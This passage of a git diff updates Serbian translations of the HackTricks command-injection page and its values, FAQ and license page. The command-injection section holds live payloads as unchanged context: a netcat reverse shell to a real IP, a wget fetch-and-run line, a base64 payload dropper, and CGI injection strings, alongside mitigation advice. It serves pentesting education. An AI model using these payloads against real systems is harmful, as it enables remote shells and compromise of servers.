sanitize_file_name() samo za imena fajlova (ne za pune putanje) ## References diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index e540e1aa7..56a87431b 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -4,11 +4,11 @@ ## Šta je command Injection? -A **command injection** omogućava izvršavanje proizvoljnih naredbi operativnog sistema od strane attacker-a na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti potpuno kompromitovani. Izvršavanje ovih naredbi obično omogućava attacker-u da stekne neautorizovan pristup ili kontrolu nad okruženjem aplikacije i osnovnim sistemom. +**command injection** omogućava napadaču da izvrši proizvoljne komande operativnog sistema na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti potpuno kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču da stekne neovlašćeni pristup ili kontrolu nad okruženjem aplikacije i osnovnim sistemom. ### Kontekst -U zavisnosti od toga **gde se vaš unos ubacuje** možda ćete morati da **prekinete citirani kontekst** (koristeći `"` ili `'`) pre nego što unesete naredbe. +U zavisnosti od **gde se vaš unos ubacuje**, možda ćete morati da **zatvorite citirani kontekst** (koristeći `"` ili `'`) pre nego što unesete naredbe. ## Command Injection/Execution ```bash @@ -30,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **Ograničenje** Bypasses +### **Bypasses za ograničenja** -Ako pokušavate da izvršite **proizvoljne komande unutar linux mašine**, biće vam zanimljivo da pročitate o ovim **Bypasses:** +Ako pokušavate da izvršite **arbitrarne komande na linux mašini** biće vam zanimljivo da pročitate o ovim **Bypasses:** {{#ref}} @@ -45,9 +45,9 @@ vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php / vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80 vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay ``` -### Parameters +### Parametri -Evo top 25 parametara koji mogu biti ranjivi na code injection i slične RCE vulnerabilities (iz [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Evo 25 najčešćih parametara koji bi mogli biti ranjivi na code injection i slične RCE ranjivosti (preuzeto sa [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -77,7 +77,7 @@ Evo top 25 parametara koji mogu biti ranjivi na code injection i slične RCE vul ``` ### Time based data exfiltration -Izdvajanje podataka: char by char +Ekstrakcija podataka: char by char ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -106,7 +106,7 @@ Online alati za proveru DNS based data exfiltration: - dnsbin.zhack.ca - pingb.in -### Zaobilaženje filtera +### Zaobilaženje filtriranja #### Windows ``` @@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad ### Node.js `child_process.exec` vs `execFile` -Kada pregledate JavaScript/TypeScript back-endove, često ćete naići na Node.js `child_process` API. +Prilikom audita JavaScript/TypeScript back-ends često ćete naići na Node.js `child_process` API. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` pokreće **shell** (`/bin/sh -c`), zato će svaki karakter koji ima posebno značenje za shell (back-ticks, `;`, `&&`, `|`, `$()`, …) dovesti do **command injection** kada se korisnički unos konkatenira u string. +`exec()` pokreće **shell** (`/bin/sh -c`), zato bilo koji karakter koji ima posebno značenje za shell (back-ticks, `;`, `&&`, `|`, `$()`, …) može dovesti do **command injection** kada se korisnički unos konkatenira u string. -**Mitigacija:** koristite `execFile()` (ili `spawn()` bez `shell` opcije) i obezbedite **svaki argument kao poseban element niza** tako da shell nije uključen: +**Mitigacija:** koristite `execFile()` (ili `spawn()` bez `shell` opcije) i prosledite **svaki argument kao poseban element niza** tako da shell nije uključen: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -144,21 +144,21 @@ Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an una ### Argument/Option injection via leading hyphen (argv, no shell metacharacters) -Nisu sve injekcije zavisne od shell metacharaktera. Ako aplikacija prosleđuje nepouzdane stringove kao argumente sistemskom utility-ju (čak i uz `execve`/`execFile` i bez shell-a), mnogi programi će i dalje parsirati svaki argument koji počinje sa `-` ili `--` kao opciju. Ovo omogućava attacker-u da promeni režime, promeni putanje izlaza ili pokrene opasna ponašanja bez ulaska u shell. +Nisu sve injekcije zavisne od shell metakaraktera. Ako aplikacija prosleđuje nepoverljive stringove kao argumente sistemskom utilitu (čak i koristeći `execve`/`execFile` bez shell-a), mnogi programi će i dalje parsirati svaki argument koji počinje sa `-` ili `--` kao opciju. To omogućava attacker-u da promeni režime rada, promeni izlazne putanje ili pokrene opasna ponašanja bez potrebe da uđe u shell. -Tipična mesta gde se ovo pojavljuje: +Tipična mesta gde se ovo javlja: -- Embedded web UIs/CGI handlers that build commands like `ping `, `tcpdump -i -w `, `curl `, etc. -- Centralized CGI routers (e.g., `/cgi-bin/.cgi` with a selector parameter like `topicurl=`) where multiple handlers reuse the same weak validator. +- Embedded web UIs/CGI handlers koji prave komande poput `ping `, `tcpdump -i -w `, `curl `, itd. +- Centralized CGI routers (npr. `/cgi-bin/.cgi` sa selector parametrima kao `topicurl=`) gde više handler-a koristi isti slab validator. Šta probati: -- Pružite vrednosti koje počinju sa `-`/`--` da bi ih downstream alat tretirao kao flagove. -- Abuse flags that change behavior or write files, for example: - - `ping`: `-f`/`-c 100000` da optereti uređaj (DoS) - - `curl`: `-o /tmp/x` da upiše proizvoljne putanje, `-K ` da učita attacker-controlled config - - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` da postigne izvršenje posle rotacije u nesigurnim wrapper-ima -- Ako program podržava `--` end-of-options, pokušajte da zaobiđete naivne mitigacije koje dodaju `--` na pogrešno mesto. +- Dajte vrednosti koje počinju sa `-`/`--` da bi ih downstream alat protumačio kao flagove. +- Abuse flagove koji menjaju ponašanje ili zapisuju fajlove, na primer: +- `ping`: `-f`/`-c 100000` da opteretite uređaj (DoS) +- `curl`: `-o /tmp/x` da upišete arbitrarne putanje, `-K ` da učitate attacker-controlled config +- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` da post-rotate izvršite kod u nesigurnim wrapper-ima +- Ako program podržava `--` end-of-options, pokušajte da zaobiđete naivne mitigacije koje prepnduju `--` na pogrešno mesto. Generic PoC shapes against centralized CGI dispatchers: ``` @@ -171,14 +171,14 @@ topicurl=¶m=-n # Unauthenticated RCE when a handler concatenates into a shell topicurl=setEasyMeshAgentCfg&agentName=;id; ``` -## Brute-Force lista detekcije +## Lista za otkrivanje Brute-Force {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt {{#endref}} -## Reference +## Izvori - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index dfcdf8d70..3ed429b39 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -1,56 +1,56 @@ -# HackTricks Vrednosti & FAQ +# Vrednosti HackTricks-a i FAQ {{#include ../banners/hacktricks-training.md}} -## Vrednosti HackTricks +## Vrednosti HackTricks-a > [!TIP] -> Ovo su **vrednosti projekta HackTricks**: +> Ovo su **vrednosti HackTricks projekta**: > -> - Obezbediti **BESPLATAN** pristup **OBRAZOVNIM hacking** resursima za **CEO** Internet. -> - Hacking je o učenju, a učenje bi trebalo da bude što slobodnije. +> - Omogućiti **BESPLATAN** pristup **EDUCATIONAL hacking** resursima svima na Internetu. +> - Hacking je o učenju, a učenje bi trebalo da bude što besplatnije. > - Svrha ove knjige je da služi kao sveobuhvatan **obrazovni resurs**. -> - **SAČUVATI** sjajne **hacking** tehnike koje zajednica objavljuje, dajući **IZVORNIM** **AUTORIMA** sve **zasluge**. -> - **Ne želimo da preuzimamo zasluge drugih ljudi**, želimo samo da sačuvamo fine trikove za sve. +> - **SAČUVATI** sjajne **hacking** tehnike koje zajednica objavljuje, dajući **IZVORNIM AUTORIMA** sve **zasluge**. +> - **Ne želimo zasluge od drugih ljudi**, želimo samo da sačuvamo kul trikove za sve. > - Takođe pišemo **svoja istraživanja** u HackTricks. -> - U nekoliko slučajeva ćemo samo napisati **u HackTricks-u sažetak važnih delova** tehnike i **ohrabriti čitaoca da poseti originalni post** za više detalja. -> - **ORGANIZOVATI** sve hacking tehnike u knjizi kako bi bile **PRISTUPAČNIJE** -> - Tim HackTricks-a je besplatno posvetio hiljade sati isključivo **za organizovanje sadržaja** tako da ljudi mogu **učiti brže** +> - U nekoliko slučajeva ćemo samo napisati **u HackTricks sažetak važnih delova** tehnike i **podstaći čitaoca da poseti originalni post** za više detalja. +> - **ORGANIZOVATI** sve **hacking** tehnike u knjizi kako bi bile **PRISTUPAČNIJE** +> - Tim HackTricks-a je besplatno posvetio hiljade sati samo kako bi **organizovao sadržaj** tako da ljudi mogu **brže učiti**
-## Često postavljana pitanja o HackTricks +## HackTricks FAQ > [!TIP] > -> - **Hvala vam puno za ove resurse, kako mogu da vam se zahvalim?** +> - **Hvala vam mnogo za ove resurse, kako mogu da vam zahvalim?** -Možete javno zahvaliti HackTricks timu za prikupljanje svih ovih resursa objavom tweet-a pominjući [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ +Možete javno zahvaliti HackTricks timu što je okupio sve ove resurse objavom na Twitteru pominjući [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ Ako ste posebno zahvalni, možete takođe [**sponzorisati projekat ovde**](https://github.com/sponsors/carlospolop).\ -I ne zaboravite da **stavite zvezdicu na GitHub projektima!** (Pronaći ćete linkove ispod). +I ne zaboravite da **dodelite zvezdicu na Github projektima!** (Pronađite linkove ispod). > [!TIP] > -> - **Kako mogu da doprinesem projektu?** +> - **Kako mogu doprineti projektu?** -Možete **podeliti nove savete i trikove sa zajednicom ili ispraviti greške** koje pronađete u knjigama slanjem **Pull Request** na odgovarajuće GitHub stranice: +Možete **podeliti nove savete i trikove sa zajednicom ili ispraviti bagove** koje nađete u knjigama slanjem **Pull Request** na odgovarajuće Github stranice: - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) -Ne zaboravite da **stavite zvezdicu na GitHub projektima!** +Ne zaboravite da **dodelite zvezdicu Github projektima!** > [!TIP] > -> - **Mogu li kopirati deo sadržaja iz HackTricks-a i staviti ga na svoj blog?** +> - **Mogu li kopirati deo sadržaja iz HackTricks i staviti ga na svoj blog?** -Da, možete, ali **ne zaboravite da navedete konkretan link ili linkove** odakle je sadržaj preuzet. +Možete, ali **ne zaboravite da navedete konkretan link(ove)** odakle je sadržaj preuzet. > [!TIP] > -> - **Kako da referenciram stranicu iz HackTricks-a?** +> - **Kako mogu referencirati stranicu HackTricks-a?** -Dokle god je prikazan link **stranice/stranica** odakle ste uzeli informaciju, to je dovoljno.\ +Dokle god je naveden link **stranice/stranica** odakle ste uzeli informacije, to je dovoljno.\ Ako vam treba bibtex, možete koristiti nešto poput: ```latex @misc{hacktricks-bibtexing, @@ -62,84 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, ``` > [!WARNING] > -> - **Mogu li kopirati sav sadržaj HackTricks-a na svoj blog?** +> - **Mogu li kopirati sve HackTricks na svom blogu?** -**Radije ne**. To **neće koristiti nikome** jer je sav **sadržaj već javno dostupan** u zvaničnim HackTricks knjigama besplatno. +**Radije ne bih**. To **neće koristiti nikome** jer je sav **sadržaj već javno dostupan** u zvaničnim HackTricks knjigama besplatno. -Ako se plašiš da će nestati, jednostavno ga fork-uj na Github-u ili preuzmi — kao što sam rekao, već je besplatno. +Ako se bojite da će nestati, jednostavno ga fork-ujte na Githubu ili preuzmite, kao što sam rekao, već je besplatno. > [!WARNING] > -> - **Zašto imate sponzore? Jesu li HackTricks knjige komercijalnog karaktera?** +> - **Zašto imate sponzore? Da li su HackTricks knjige u komercijalne svrhe?** -Prva **HackTricks** **vrednost** je da ponudi **BESPLATNE** edukativne resurse za **hacking** **CELOM** svetu. Tim HackTricks-a je **posvetio hiljade sati** da ponudi ovaj sadržaj, ponovo, **BESPLATNO**. +Prva vrednost HackTricks-a je da ponudi **BESPLATNE** edukativne resurse o hakovanju **CELOM** svetu. HackTricks tim je **posvetio na hiljade sati** da ponudi ovaj sadržaj, ponovo, **BESPLATNO**. -Ako mislite da su HackTricks knjige napravljene za **komercijalne svrhe**, potpuno ste **U KRIVU**. +Ako mislite da su HackTricks knjige napravljene za **komercijalne svrhe**, **POTPUNO STE U ZABLUDI**. -Imamo sponzore jer, iako je sav sadržaj **BESPLATAN**, želimo da **ponudimo zajednici mogućnost da cene naš rad** ako to žele. Zato nudimo ljudima opciju da doniraju HackTricks putem [**Github sponsors**](https://github.com/sponsors/carlospolop), i **relevantne cybersecurity kompanije** mogu sponzorisati HackTricks i **imati neke reklame** u knjizi, pri čemu su **reklame** uvek postavljene na mesta gde su **vidljive** ali **ne ometaju proces učenja** ako se neko fokusira na sadržaj. +Imamo sponzore jer, čak i ako je sav sadržaj BESPLATAN, želimo da zajednici ponudimo mogućnost da ceni naš rad ako to želi. Stoga nudimo ljudima opciju da doniraju HackTricks putem [**Github sponsors**](https://github.com/sponsors/carlospolop), i **relevantnim kompanijama iz oblasti sajber bezbednosti** da sponzorišu HackTricks i da budu **neke reklame** u knjizi, pri čemu su **reklame** uvek postavljene na mesta gde su **vidljive**, ali **ne ometaju proces učenja** ako se neko fokusira na sadržaj. -Nećete naći HackTricks prepun dosadnih reklama kao na drugim blogovima sa mnogo manje sadržaja, jer HackTricks nije napravljen u komercijalne svrhe. +Nećete naći HackTricks prepun dosadnih reklama kao na drugim blogovima sa mnogo manje sadržaja od HackTricks-a, jer HackTricks nije napravljen u komercijalne svrhe. > [!CAUTION] > -> - **Šta da uradim ako je neka HackTricks stranica zasnovana na mom blog postu ali nije referencirana?** +> - **Šta da uradim ako je neka HackTricks stranica zasnovana na mojoj objavi na blogu, ali nije referencirana?** -**Veoma nam je žao. Ovo se nije trebalo desiti**. Molimo te, obavesti nas putem Github issues, Twitter, Discord... pošalji link HackTricks stranice sa sadržajem i link tvog bloga i **proverićemo i dodaćemo to što pre**. +**Veoma nam je žao. Ovo nije trebalo da se dogodi**. Molimo vas, obavestite nas putem Github issues, Twitter, Discord... link stranice HackTricks sa tim sadržajem i link vašeg bloga i **proverićemo to i dodati što pre**. > [!CAUTION] > -> - **Šta da uradim ako postoji sadržaj sa mog bloga na HackTricks-u i ne želim da bude tamo?** +> - **Šta da uradim ako postoji sadržaj sa mog bloga na HackTricks-u i ne želim ga tamo?** -Imajte na umu da prisustvo linkova ka vašoj stranici na HackTricks-u: +Imajte na umu da linkovi ka vašoj stranici u HackTricks-u: -- Poboljšava vaš **SEO** +- Poboljšavaju vaš **SEO** - Sadržaj se **prevodi na više od 15 jezika**, što omogućava većem broju ljudi pristup ovom sadržaju -- **HackTricks podstiče** ljude da **provere vašu stranicu** (više ljudi nam je pomenulo da od kada je neka njihova stranica u HackTricks-u dobijaju više poseta) +- **HackTricks podstiče** ljude da **pogledaju vašu stranicu** (nekoliko ljudi nam je reklo da od kada je neka njihova stranica u HackTricks-u dobijaju više poseta) -Međutim, ako ipak želite da sadržaj vašeg bloga bude uklonjen iz HackTricks-a, samo nam javite i mi ćemo definitivno **ukloniti sve linkove ka vašem blogu**, i svaki sadržaj zasnovan na njemu. +Međutim, ako i dalje želite da sadržaj vašeg bloga bude uklonjen sa HackTricks-a, samo nas obavestite i mi ćemo definitivno **ukloniti svaki link ka vašem blogu**, i bilo koji sadržaj zasnovan na njemu. > [!CAUTION] > -> - **Šta da uradim ako nađem kopirani sadržaj u HackTricks-u?** +> - **Šta da uradim ako pronađem kopirani sadržaj u HackTricks-u?** -Uvek dajemo **sva priznanja originalnim autorima**. Ako nađete stranicu sa kopiranim sadržajem bez reference na originalni izvor, javite nam i mi ćemo ili **ukloniti sadržaj**, **dodati link pre teksta**, ili **prepisati ga i dodati link**. +Mi uvek **dodeljujemo sve zasluge originalnim autorima**. Ako pronađete stranicu sa kopiranim sadržajem bez referenciranog originalnog izvora, obavestite nas i mi ćemo ili **ukloniti sadržaj**, **dodati link pre teksta**, ili **prepisati ga i dodati link**. -## LICENSE +## LICENCA -Copyright © Sva prava zadržana osim ako nije drugačije navedeno. +Autorska prava © Sva prava zadržana, osim ako nije drugačije navedeno. #### Sažetak licence: -- Atribucija: Slobodni ste da: -- Share — kopirajte i redistribuirajte materijal u bilo kom mediju ili formatu. -- Adapt — remiksujte, transformišite i gradite dalje na materijalu. +- Priznavanje autora: Slobodni ste da: +- Deljenje — kopirajte i redistribuirajte materijal u bilo kom mediju ili formatu. +- Prilagođavanje — remiksujte, transformišite i nadogradite materijal. #### Dodatni uslovi: -- Sadržaj trećih lica: Neki delovi ovog bloga/knjige mogu uključivati sadržaj iz drugih izvora, kao što su isečci iz drugih blogova ili publikacija. Korišćenje takvog sadržaja vrši se u skladu sa principima fair use-a ili uz izričitu dozvolu odgovarajućih nosilaca autorskih prava. Molimo vas da se obratite originalnim izvorima za specifične informacije o licenci koje se odnose na sadržaj trećih lica. -- Autorstvo: Originalni sadržaj koji je autorisao HackTricks podleže uslovima ove licence. Preporučujemo da prilikom deljenja ili prilagođavanja navedete autora. +- Sadržaj treće strane: Neki delovi ovog bloga/knjige mogu uključivati sadržaj iz drugih izvora, kao što su isječci iz drugih blogova ili publikacija. Korišćenje takvog sadržaja vrši se prema principima poštene upotrebe (fair use) ili uz izričitu dozvolu odgovarajućih vlasnika autorskih prava. Molimo vas da se obratite originalnim izvorima za specifične informacije o licenciranju sadržaja trećih strana. +- Autorstvo: Originalni sadržaj koji je autorisao HackTricks podleže uslovima ove licence. Preporučuje se da navedete autora ovog dela kada delite ili prilagođavate sadržaj. #### Izuzeci: -- Komercijalna upotreba: Za upite u vezi komercijalne upotrebe ovog sadržaja, molimo kontaktirajte me. +- Komercijalna upotreba: Za upite u vezi sa komercijalnom upotrebom ovog sadržaja, molimo kontaktirajte me. -Ova licenca ne dodeljuje nikakva prava na žigove ili brendiranje u vezi sa sadržajem. Svi žigovi i brendiranje prikazani u ovom blogu/knjizi su vlasništvo njihovih odgovarajućih nosilaca. +Ova licenca ne daje nikakva prava na zaštitne znakove ili brendiranje u vezi sa sadržajem. Svi zaštitni znakovi i brendiranje prikazani u ovom blogu/knjizi su vlasništvo odgovarajućih vlasnika. -**Pristupanjem ili korišćenjem HackTricks-a prihvatate uslove ove licence. Ako se ne slažete sa ovim uslovima, molimo vas, ne pristupajte ovom sajtu.** +**Pristupanjem ili korišćenjem HackTricks-a, slažete se da ćete se pridržavati uslova ove licence. Ako se ne slažete sa ovim uslovima, molimo, ne pristupajte ovom veb sajtu.** -## **Disclaimer** +## **Odricanje odgovornosti** > [!CAUTION] -> Ova knjiga, 'HackTricks,' namenjena je isključivo obrazovnim i informativnim svrhama. +> Ova knjiga, 'HackTricks,' je namenjena samo za obrazovne i informativne svrhe. Sadržaj unutar ove knjige pruža se "kakav jeste", i autori i izdavači ne daju nikakva očitovanja ili garancije bilo koje vrste, izričite ili implicitne, u vezi sa potpunošću, tačnošću, pouzdanošću, podobnošću ili dostupnošću informacija, proizvoda, usluga ili povezanih grafika sadržanih u ovoj knjizi. Svako oslanjanje na takve informacije stoga je isključivo na sopstveni rizik. > -> Sadržaj u ovoj knjizi dostavlja se 'kakav jeste', a autori i izdavači ne daju nikakve izjave niti garancije, izričite ili implicitne, u vezi sa potpunošću, tačnošću, pouzdanošću, prikladnošću ili dostupnošću informacija, proizvoda, usluga ili pratećih grafika sadržanih u ovoj knjizi. Svako oslanjanje na takve informacije stoga je isključivo na vaš sopstveni rizik. +> Autori i izdavači ni u kom slučaju neće biti odgovorni za bilo kakav gubitak ili štetu, uključujući bez ograničenja indirektne ili posledične gubitke ili štete, ili bilo kakav gubitak ili štetu bilo koje vrste koja proističe iz gubitka podataka ili profita koji nastanu iz, ili u vezi sa, korišćenjem ove knjige. > -> Autori i izdavači ni u kom slučaju neće biti odgovorni za bilo kakav gubitak ili štetu, uključujući, bez ograničenja, indirektni ili posledični gubitak ili štetu, niti bilo kakav gubitak ili štetu proisteklu iz gubitka podataka ili profita koji nastanu iz upotrebe ove knjige ili u vezi s njom. +> Nadalje, tehnike i saveti opisani u ovoj knjizi pružaju se isključivo u obrazovne i informativne svrhe i ne bi trebalo da se koriste za bilo kakve nezakonite ili zlonamerne aktivnosti. Autori i izdavači ne odobravaju niti podržavaju bilo kakve nezakonite ili neetičke aktivnosti, i svako korišćenje informacija sadržanih u ovoj knjizi je na sopstveni rizik i diskreciju korisnika. > -> Pored toga, tehnike i saveti opisani u ovoj knjizi pružaju se samo u obrazovne i informativne svrhe i ne bi trebalo da se koriste za bilo kakve ilegalne ili zlonamerne aktivnosti. Autori i izdavači ne odobravaju niti podržavaju bilo kakve ilegalne ili neetičke aktivnosti, te je svako korišćenje informacija iz ove knjige na sopstveni rizik i odgovornost korisnika. +> Korisnik je isključivo odgovoran za sve radnje preduzete na osnovu informacija sadržanih u ovoj knjizi, i uvek bi trebao potražiti profesionalni savet i pomoć kada pokušava da primeni bilo koju od tehnika ili saveta opisanih ovde. > -> Korisnik je isključivo odgovoran za bilo koje radnje preduzete na osnovu informacija sadržanih u ovoj knjizi, i treba uvek da potraži profesionalni savet i pomoć kada pokuša da primeni bilo koju od tehnika ili saveta opisanih ovde. -> -> Korišćenjem ove knjige, korisnik se slaže da oslobodi autore i izdavače od bilo kakve odgovornosti za bilo kakvu štetu, gubitke ili povrede koje mogu proisteći iz korišćenja ove knjige ili bilo kojih informacija u njoj. +> Korišćenjem ove knjige, korisnik pristaje da oslobodi autore i izdavače od bilo kakve i sve odgovornosti za bilo kakve štete, gubitke ili povrede koje mogu proizaći iz korišćenja ove knjige ili bilo koje informacije sadržane u njoj. {{#include ../banners/hacktricks-training.md}}